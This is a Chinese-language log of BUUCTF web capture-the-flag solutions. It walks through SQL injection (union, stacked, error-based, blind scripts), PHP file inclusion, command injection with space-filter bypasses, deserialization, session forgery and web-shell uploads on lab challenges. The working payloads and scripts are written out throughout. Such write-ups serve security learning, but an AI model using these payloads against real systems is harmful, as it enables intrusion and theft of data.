BUU-WEB关刷题记录
[极客大挑战 2019]EasySQL
引号会报错,存在SQL注入,直接万能密码登录
admin' or 1=1#
flag{55cc161c-7d6e-4d13-b9c3-84f6c109fccc}
[极客大挑战 2019]Havefun
源码泄露,构造传参得到flag
flag{3f02ad1c-8db0-4b42-9c46-ffe5876ce9eb}
[HCTF 2018]WarmUp
访问该路径得到源码
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
文件包含读取hint.php
然后先代码审计,file传参点三次判断是不是空或者是不是字符串,然后又进checkFile函数进行判断
mb_substr(str,start,length,encoding):返回从start位置开始的长度为length的字符串
mb_strpos(str,find_str,offset,encoding):返回str中从offset(默认为0)开始第一次出现find_str的位置
urlcode():对其传入的str参数进行str解码
在第一次$_page取的是从0开始到第一次出现问号之间的字符串,所以我们在参数中传入一个?绕过白名单
读取ffffllllaaaagggg
flag{af9b1bcf-2cef-4b10-8942-746ef68e6b29}
[ACTF2020 新生赛]Include
文件包含,直接用伪协议读取
flag.php文件用base64编码输出
php://filter/read=convert.base64-encode/resource=index.php
源码内容也看一下
<meta charset="utf8">
<?php
error_reporting(0);
$file = $_GET["file"];
if(stristr($file,"php://input") || stristr($file,"zip://") || stristr($file,"phar://") || stristr($file,"data:")){
exit('hacker!');
}
if($file){
include($file);
}else{
echo '<a href="?file=flag.php">tips</a>';
}
?>
<?php
echo "Can you find out the flag?";
//flag{3a17fdad-fda2-4664-90ee-0c904b1f30e5}
[ACTF2020 新生赛]Exec
ping导致的RCE,直接管道符或者分号分割
flag{7a25cfaf-46c7-4035-b77f-02761cb0e2f1}
[GXYCTF2019]Ping Ping Ping
同上
不过是过滤空格,绕过方法有很多
$IFS
${IFS}
$IFS$1 //$1改成$加其他数字貌似都行
<
<>
{cat,flag.php} //用逗号实现了空格功能
%20
%09
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "
";
print_r($a);
}
?>
过滤了flag字符,没有过滤反引号,所以可以将ls的内容cat出来
?ip=127.0.0.1||nl$IFS$1
ls
也可以用变量覆盖,但是必须用分号分割,管道符不行,具体原因不知道为啥
?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
flag{d3e9485d-37cb-4408-b798-17e6766835ff}
[强网杯 2019]随便注
SQL注入,SQLMAP一把梭不出来
手注方法在这里也都总结一下几个吧,有看到其他师傅写的文章多个解法
法一
1’ or 1=1
报错
1’ or 1=1#
这样就不报错了,成功输出了该表的所有数据
先判断一下其他表吧,首先判断一下字段个数
1’ union select 1,2;#
存在过滤
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
用堆叠注入绕过关键字select
1’;show databases;#
1’;show tables;#
然后就是不用select语句如何查表,两种方法
方式一:1'; show columns from tableName;#
方式二:1';desc tableName;#
注意,如果tableName是纯数字,需要用
包裹,比如
1’;desc1919810931114514
;#`
1’; show columns from
1919810931114514
;#
看到有flag,通过预编译的方法拼接select关键字、
1’;PREPARE hacker from concat(‘s’,‘elect’, ’ * from
1919810931114514
');EXECUTE hacker;#
flag{91001bd0-9996-4f51-a00d-1a211940fa08}
法二
其实就是在第一次遇到select的时候就预编译
直接将select * from 1919810931114514
这句话转成hex
73656c656374202a2066726f6d20603139313938313039333131313435313460
然后预编译替换一下即可
1';PREPARE hacker from 0x73656c656374202a2066726f6d20603139313938313039333131313435313460;EXECUTE hacker;#
也可以先定义一个变量并将sql语句初始化,然后调用
1';Set @jia = 0x73656c656374202a2066726f6d20603139313938313039333131313435313460;PREPARE hacker from @jia;EXECUTE hacker;#
[SUCTF 2019]EasySQL
FUZZ一下,过滤了from、union、extractvalue、PREPARE,sleep函数也过滤了
猜测一下后端代码
select $_POST['query'] || flag from flag
那我们直接query=*,1就拼接可以输出全部字段
为什么要加1呢?
select 1 from flag的意思其实是建立一个临时列,这个列的所有初始值都被设为1
flag{98c88520-68e1-4715-b929-17503e78bf5e}
[极客大挑战 2019]Secret File
抓包得到一个路径
<html>
<title>secret</title>
<meta charset="UTF-8">
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>
</html>
一眼顶针,文件包含
同样base64输出结果
解码得到flag
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>FLAG</title>
</head>
<body style="background-color:black;"><br><br><br><br><br><br>
<h1 style="font-family:verdana;color:red;text-align:center;">啊哈!你找到我了!可是你看不到我QAQ~~~</h1><br><br><br>
<p style="font-family:arial;color:red;font-size:20px;text-align:center;">
<?php
echo "我就在这里";
$flag = 'flag{e007ea8b-2f4a-4e27-9c2b-d6a2f21084f0}';
$secret = 'jiAng_Luyuan_w4nts_a_g1rIfri3nd'
?>
</p>
</body>
</html>
[极客大挑战 2019]LoveSQL
admin’ || 1=1#
万能密码登录
这个密码解不出来,继续SQL注入
/check.php?username=admin' order by 3%23&password=1 成功
/check.php?username=admin' order by 4%23&password=1 报错
即存在三个字段,再用union查询
?username=1' union select 1,2,3%23&password=1
回显点位为2和3,查询当前数据库名及版本
?username=1' union select 1,database(),version()%23&password=1
然后爆表
?username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1
l0ve1ysq1表的字段
?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'%23&password=1
最后爆数据
?username=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=1
得到flag
flag{df345fc8-1dc2-4e10-83dc-f02a82543e86}
[极客大挑战 2019]Http
访问
貌似到这里就知道了,考察报文头
构造一下得到flag
flag{3f49a3e0-6b20-470d-86a3-6234bdaf2e30}
[极客大挑战 2019]Knife
就命令执行即可
Syc=system('cat /f*');
flag{4473e7cb-6633-4007-a894-a9b83a76eb2c}
[极客大挑战 2019]Upload
文件上传,过滤了<?
同时也不让上传PHP文件,用phtml绕过,内容用文件幻术头
flag{6906835c-3905-43a7-a58f-4a49fa39939c}
[ACTF2020 新生赛]Upload
同上,前端校验绕过即可
flag{090eb440-226c-4e3a-be5a-44480c1a9565}
[极客大挑战 2019]BabySQL
加了部分黑名单
直接用上面的方法是不行的了,首先就是order中的or字符被过滤,by也被过滤,union select也都被过滤
用双写绕过试试
?username=1'ununionion%20seselectlect%201,2,3%23&password=1
还是三段
剩下的基本同上一题
?username=1' union select 1,database(),version()%23&password=1
然后继续用的那个语句的information和from都被过滤了
继续双写绕过
?username=1'ununionion seselectlect 1,2,group_concat(schema_name) ffromrom infoorrmation_schema.schemata%23&password=1
继续查询表名
username=1%27%20ununionion%20seselectlect%201,2,group_concat(table_name)%20frfromom%20infoorrmation_schema.tables%20whwhereere%20table_schema=%27ctf%27%23&password=1
查询flag表中字段名
username=1’ ununionion seselectlect 1,2,group_concat(flag) frfromom ctf.Flag#&password=1
flag{386102b8-b5d4-42a6-86da-e3c75ce13609}
[极客大挑战 2019]PHP
备份文件泄露,直接扫一下就行–www.zip
反序列化
传参点select
私有变量需要在类名和字段名前面%00包括一下,同时绕过wakeup函数
这里用py发包的话%00- >\0代替
<?php
class Name{
private $username = 'admin';
private $password = '100';
}
$hzy = new Name();
echo serialize($hzy);
//O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}
?>
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}
[ACTF2020 新生赛]BackupFile
看这样子是又让找源码/index.php.bak,源码如下
<?php
include_once "flag.php";
if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}
== 是弱类型比较,所以直接给三位比较即可
flag{fa3c66d0-5e85-47b6-87f4-24cb21302c45}
[RoarCTF 2019]Easy Calc
计算数学题
看源码
不能传字母符号,只能传数字,但是可以利用PHP字符串解析来绕过,首先先在传参点前面空格一下,然后直接用函数进行读取
num=print_r(scandir('/'));
但是/也被waf了,可以用chr函数进行绕过
chr(47)=‘/’
/calc.php?%20num=print_r(scandir(chr(47)));
然后调用file_get_contents函数读flag
num=print_r(file_get_contents('/flagg'));
还是得绕,同样是chr函数
num=print_r(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)));
flag{a483f53a-b536-4606-9bf3-7e18c865aa04}
[极客大挑战 2019]BuyFlag
看下源码
这个cookie先改一下
这里money需要用科学计数法,密码要求不能是纯数字,但是若比较所以加个字母就行
flag{c2eb3989-b1ea-4efe-bb16-71d92127a221}
[BJDCTF2020]Easy MD5
这个题打开就是这个页面,输了传参没啥反应
看报文头发现hint
select * from 'admin' where password=md5($pass,true)
SQL注入,需要绕过这个md5函数
WP中构造这个SQL语句的永真用的是ffifdyop这个字符
原因是
1、ffifdyop,这个点的原理是 ffifdyop 这个字符串被 md5 哈希了之后会变成 276f722736c95d99e921722cf9ed621c,这个字符串前几位刚好是 ‘ or ‘6,而 Mysql 刚好又会吧 hex 转成 ascii 解释
2、ffifdyop,该字符串md5加密后若raw参数为True时会返回 'or’6
( 其实就是一些乱码和不可见字符,这里只要第一位是非零数字即可被判定为True,后面的 会在MySQL将其转换成整型比较时丢掉)
所以传参ffifdyop即可绕过
源码
<!--
$a = $GET['a'];
$b = $_GET['b'];
if($a != $b && md5($a) == md5($b)){
// wow, glzjin wants a girl friend.
-->
这个又是hash弱比较绕过,即本身不相等,hash相等,直接数组绕过即可
也可以0e绕过,在这里放几个
- 以下是一些字符串md5值以0e开头
QNKCDZO
240610708
s878926199a
s155964671a
s21587387a
进入下一个
<?php
error_reporting(0);
include "flag.php";
highlight_file(__FILE__);
if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
echo $flag;
}
这里用到了强比较类型,继续用数组即可
flag{e4d6615d-0413-4867-994d-9840fa3b61a6}
[护网杯 2018]easy_tornado
/flag.txt -> /flag.txt flag in /fllllllllllllag
/welcome.txt -> /welcome.txt render
/hints.txt -> /hints.txt md5(cookie_secret+md5(filename))
在看这三个路由的时候也能发现传参会多个hash,而hints.txt里面的应该就是生成hash的方法
render()函数是Django中的渲染,基本漏洞发生在ssti上
tornado.web.Application对象初始化赋予cookie_secret参数,用于保存本网站cookies加密密钥
然后又说了flag在/fllllllllllllag,那可以构造一下md5(filename) --> 3bf9f6cf685a6dd8defadabfb41a03a1
这个时候还需要找一下cookie_secret,SSTI
修改hash会跳转到error,构造SSTI
‘cookie_secret’: ‘3ad41e36-78b4-446d-9b98-640695a0beca’
这个时候构造一下就可以读取flag文件了
3ad41e36-78b4-446d-9b98-640695a0beca3bf9f6cf685a6dd8defadabfb41a03a1 ->4f405061250b0d017fc3382e65c96b90
flag{6c8e26de-863e-4482-84de-a57dbbd435ac}
[HCTF 2018]admin
有登录和注册功能,看注释应该就是要成为admin用户
同时注释还给了个地址,应该是源码
这个源码路径已经失效了,看了其他师傅的WP,大致就是session伪造,源码里面给了key
SECRET_KEY = os.environ.get(‘SECRET_KEY’) or ‘ckj123’
伪造一下,替换cookie即可得到flag
flag{818a9e36-4b6b-4ad8-9c4b-0e204762c60d}
还有一种方法是unicode欺骗
ᴬᴰᴹᴵᴺ -> ADMIN -> admin
用ᴬᴰᴹᴵᴺ注册一下然后修改密码就可以把原来admin的密码覆盖掉
[MRCTF2020]你传你🐎呢
文件上传功能,尝试传一个文件抓包看看
过滤了后缀,覆盖配置文件绕过
然后上传马子
过滤了执行系统命令的函数
蚁剑连接得到flag
flag{62937381-ac4e-456c-b45d-d27360e307f1}
[ZJCTF 2019]NiZhuanSiWei
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
首先第一层是验证file_get_contents($text,‘r’)===“welcome to the zjctf”),用data协议写进去内容即可绕过
?text=data://text/plain,welcome to the zjctf
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY= 对于其他题目存在过滤的,base64传参更好
但是文件包含是不能直接读取flag的,读一下注释的那个路径看一下
php://filter/read=convert.base64-encode/resource=useless.php
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
任意文件读,本地序列化一下,最终payload如下
?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
flag{63e584de-9a82-4638-a2a6-ff445b827fa5}
[极客大挑战 2019]HardSQL
又是SQL注入
空格被过滤,/**/也不能绕过
还有一种绕过空格的方法是括号
括号是来包含子查询的,任何可以计算出结果的语句都可以用括号围起来,而括号的两端,可以没有多余的空格
?username=admin'(or)#&password=1 -->?username=admin%27%28or%29%23&password=1
报错,说明绕过去了,报错注入,用updatexml
数据库
admin'or(updatexml(1,concat(0x7e,database(),0x7e),1))#
查表名
admin'or(updatexml(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like('geek')),0x7e),1))#
查列名
admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#
读字段
admin'or(updatexml(1,concat(0x7e,(select(group_concat(id,'~',username,'~',password))from(H4rDsq1)),0x7e),1))#
还有右半部分的半个flag,从右边读
admin'or(updatexml(1%2Cconcat(0x7e%2C(select(right(password%2C10))from(H4rDsq1))%2C0x7e)%2C1))%23
flag{e466e316-d3b4-4b7b-a919-aba68a3c0dcd}
[MRCTF2020]Ez_bypass
源码
I put something in F12 for you
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
$id=$_GET['id'];
$gg=$_GET['gg'];
if (md5($id) === md5($gg) && $id !== $gg) {
echo 'You got the first step';
if(isset($_POST['passwd'])) {
$passwd=$_POST['passwd'];
if (!is_numeric($passwd))
{
if($passwd==1234567)
{
echo 'Good Job!';
highlight_file('flag.php');
die('By Retr_0');
}
else
{
echo "can you think twice??";
}
}
else{
echo 'You can not get it !';
}
}
else{
die('only one way to get the flag');
}
}
else {
echo "You are not a real hacker!";
}
}
else{
die('Please input first');
}
}Please input first
gg和id的hash得相等并且明文不能相等,数组绕即可
然后passwd这个参数要求不是数字还得是1234567,弱比较绕过,最后加个a即可
flag{15015a22-c765-42a2-b0af-3ed8db8ca3f2}
is_numeric函数绕过利用的PHP弱类型比较,不同类型比较之前会先将其转换为相同类型再进行比较,即1234567a先转换成1234567之后再比较,即True
[网鼎杯 2020 青龙组]AreUSerialz
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
首先is_valid函数限制ascii值在32-125之间了,为啥这样防,是因为上面有protected属性,而在序列化后需要用到\00*\00这样的不可见字符,防的就是这里
绕过方法
php7.1以上的版本对属性类型不敏感,所以可以将属性改为public,public属性序列化不会出现不可见字符
其次destruct方法将op强比较,写死了,但是在process函数中弱比较
绕过方法
在process方法里面置public属性的op为2,弱比较绕过防止置为1
<?php
class FileHandler
{
public $op = 2;
public $filename = "flag.php";
public $content='6';
}
$h =new FileHandler();
echo serialize($h);
//O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:1:"6";}
flag{06ca90b2-3dd1-4d59-8c7e-ccf2a2c1322d}
[SUCTF 2019]CheckIn
文件上传
过滤了<?
可以用前端代码来代替
配置文件.user.ini上传覆盖
flag{600cc5e5-4340-43a7-a1a5-4e6fef69d263}
[GXYCTF2019]BabyUpload
还是文件上传
先上传配置文件.htaccess
然后上传马即可得到flag
蚁剑连接
flag{2f09c24c-aba8-4c66-ba8e-1aba848138f0}
[GXYCTF2019]BabySQli
SQli的SQL注入
插入万能密码之后显示hack me,显然被过滤了
注释里面有SQL语句
<!--MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5-->
select * from user where username = '$name'
sqli的特性:在联合查询并不存在的数据时,联合查询就会构造一个虚拟的数据
所以根据这个特性,使用联合查询访问,一个真实存在的用户名和编造的密码,就会使虚拟数据混淆admin密码,从而使我们成功登录
这是题目源码
<!--MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5-->
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Do you know who am I?</title>
<?php
require "config.php";
require "flag.php";
// 去除转义
if (get_magic_quotes_gpc()) {
function stripslashes_deep($value)
{
$value = is_array($value) ?
array_map('stripslashes_deep', $value) :
stripslashes($value);
return $value;
}
$_POST = array_map('stripslashes_deep', $_POST);
$_GET = array_map('stripslashes_deep', $_GET);
$_COOKIE = array_map('stripslashes_deep', $_COOKIE);
$_REQUEST = array_map('stripslashes_deep', $_REQUEST);
}
mysqli_query($con,'SET NAMES UTF8');
$name = $_POST['name'];
$password = $_POST['pw'];
$t_pw = md5($password);
$sql = "select * from user where username = '".$name."'";
// echo $sql;
$result = mysqli_query($con, $sql);
if(preg_match("/\(|\)|\=|or/", $name)){
die("do not hack me!");
}
else{
if (!$result) {
printf("Error: %s\n", mysqli_error($con));
exit();
}
else{
// echo '<pre>';
$arr = mysqli_fetch_row($result);
// print_r($arr);
if($arr[1] == "admin"){
if(md5($password) == $arr[2]){
echo $flag;
}
else{
die("wrong pass!");
}
}
else{
die("wrong user!");
}
}
}
?>
看最后输出flag条件是密码md5编码,所以构造一下即可混淆,成功登录
1' union select 1,'admin','e24224276c57a23effa51a2cf9b72b10'-- q&pw=guli
flag{458c6b03-2c7d-4b70-b193-d255992a3966}
[GYCTF2020]Blacklist
又是SQL注入
加个引号就报错,但是报错注入行不通
堆叠注入能获取俩表
1'; show tables; #
handler注入
1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;#
知识补充
Handler语法
handler语句,一行一行的浏览一个表中的数据handler语句并不具备select语句的所有功能。
mysql专用的语句,并没有包含到SQL标准中。
HANDLER语句提供通往表的直接通道的存储引擎接口,可以用于MyISAM和InnoDB表。1、HANDLER tbl_name OPEN
打开一张表,无返回结果,实际上我们在这里声明了一个名为tb1_name的句柄。
2、HANDLER tbl_name READ FIRST
获取句柄的第一行,通过READ NEXT依次获取其它行。最后一行执行之后再执行NEXT会返回一个空的结果。
3、HANDLER tbl_name CLOSE
关闭打开的句柄。
4、HANDLER tbl_name READ index_name = value
通过索引列指定一个值,可以指定从哪一行开始,通过NEXT继续浏览
flag{0f3fb8c0-cb83-4a66-908f-5d784ebf7171}
[CISCN2019 华北赛区 Day2 Web1]Hack World
- PHP
- SQL注入
过滤了很多字符,用括号代替空格,知道表名和库名,直接查字段即可
(select(ascii(mid(flag,1,1))=100)from(flag))
是盲注,总之就是如果成立就会显示Hello, glzjin wants a girlfriend. ,不成立就是显示其他的,自动化脚本借鉴其他师傅的,如下
import requests
import string
def blind_injection(url):
flag = ''
strings = string.printable
for num in range(1,60):
for i in strings:
payload = '(select(ascii(mid(flag,{0},1))={1})from(flag))'.format(num,ord(i))
post_data = {"id":payload}
res = requests.post(url=url,data=post_data)
if 'Hello' in res.text:
flag += i
print(flag)
else:
continue
print(flag)
if __name__ == '__main__':
url = 'http://64368c9f-dd87-4c49-b9a1-d4b82e98c87a.node3.buuoj.cn/index.php'
blind_injection(url)
然后这里通过其他师傅的脚本也发现了个点,string库的strings = string.printable即全部可打印字符,之前还都是写个字典来写脚本,现在这样就更方便了
SQL中空格的过滤可以用
%09
%0a
%0b
%0c
%0d
/**/
/*!*/
或者直接tab等等进行绕过
该说不说,这个盲注是最费时间的,跑了将近俩小时才出来全部结果,晚上写的这题,跑完已经凌晨两点了
flag{633872d2-16bd-4d91-9fa8-114339c482d8}
还有另外师傅写的二分法的脚本【采用二分法速度快很多】
import requests
import time
url = "http://6c80439c-23e1-4c78-ad78-d2ee93ad2817.node4.buuoj.cn:81/index.php"
payload = {
"id" : ""
}
result = ""
for i in range(1,100):
l = 33
r =130
mid = (l+r)>>1
while(l<r):
payload["id"] = "0^" + "(ascii(substr((select(flag)from(flag)),{0},1))>{1})".format(i,mid)
html = requests.post(url,data=payload)
print(payload)
if "Hello" in html.text:
l = mid+1
else:
r = mid
mid = (l+r)>>1
if(chr(mid)==" "):
break
result = result + chr(mid)
print(result)
print("flag: " ,result)